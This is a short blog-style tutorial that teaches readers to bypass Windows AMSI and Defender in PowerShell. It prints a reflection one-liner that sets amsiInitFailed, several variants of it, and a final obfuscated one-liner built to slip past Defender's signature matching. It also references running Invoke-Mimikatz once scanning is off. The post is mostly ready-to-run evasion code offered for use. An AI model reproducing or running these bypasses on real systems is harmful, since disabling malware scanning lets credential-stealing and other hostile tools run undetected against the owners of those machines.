Home

Published

- 2 min read

Understanding and Finding Your Own Evasion / Variation

img of Understanding and Finding Your Own Evasion / Variation

Matt Graebers First Reflection

When you post this in to a Powershell, what happens?

powershell
   $ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", 0x00000028).SetValue($null, $true)

It says, this is malicious, right? We don’t want to go into the depth of AMSI - which we highly recommend exploring - cause it’s not neccessary, to understand what we’ll explain.

Type this into a Powershell

powershell
   $ Invoke-Mimikatz

Also malicious.

Turn off Defender for a sec. Now try again to use the First Reflection. Wait, no error?

Understanding it

What you see consists of two things.

1.) Reflection - a method of JIT languages like Java, C# - and the automation framework built on top of C# and WinAPI, that allows for dynamic manipulation of Classes, Methods, Objects and Variables on the fly (Powershell)

2.) Doing stuff in the AmsiUtils class, setting the variable amsiInitFailed to true.

Defender

will recognize patterns. One of the patterns is the word AMSI - only that. So if you manage to substitute the word amsi in some way, shape or form - remember, we got a whole Programming Language in front of us - you already made half way.

Defender won’t recognize, what you try to do. Take for example:

powershell
   $ <any other object>.GetField()

(not literally) which is in itself not malicious, of course. Neither is SetValue() and for the most part, nobody forces you to write it like that.

powershell
   $ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", 0x00000028).SetValue($null, $true)

Let’s assume you made it past Defender with the first part, we won’t show exactly how, but we explained it. If you don’t manage to do it, just turn off Defender again for the following.

powershell

   $ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetFields(0x28) | 
    ForEach-Object { echo $_.Name }  
amsiContext
amsiSession
amsiInitFailed
amsiLockObject

Now let’s try that.

powershell

   $ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetFields(0x28) |
    ForEach-Object {
        if ($_.Name -eq "amsiInitFailed") {
            $_.SetValue($null, $true)
        }
    }

Now think about different styles of coding:

  • Object-Oriented
  • Functional
  • Procedural

Congratulations! You should have achieved ultimate Am{0} Mastery. -f "si"

p.s.

powershell

   $ $string = "PowerShell Rocks"; 
$ if ($string.StartsWith("Power")) { echo "Starts with 'Power'" }; 
$ if ($string.EndsWith("Rocks")) { echo "Ends with 'Rocks'" }; 
$ if ($string.Contains("Shell")) { echo "Contains 'Shell'" }

and greetings.

p.p.s.

As it’s the Year Of No Code

   $ ([Ref].Assembly.GetTypes() | ? { $_.FullName.EndsWith("siUtils") } | % { [Ref].Assembly.GetType($_.FullName) }).GetFields(0x28) | ? { $_.Name.Contains("aile") } | % { $_.SetValue($null, $true) }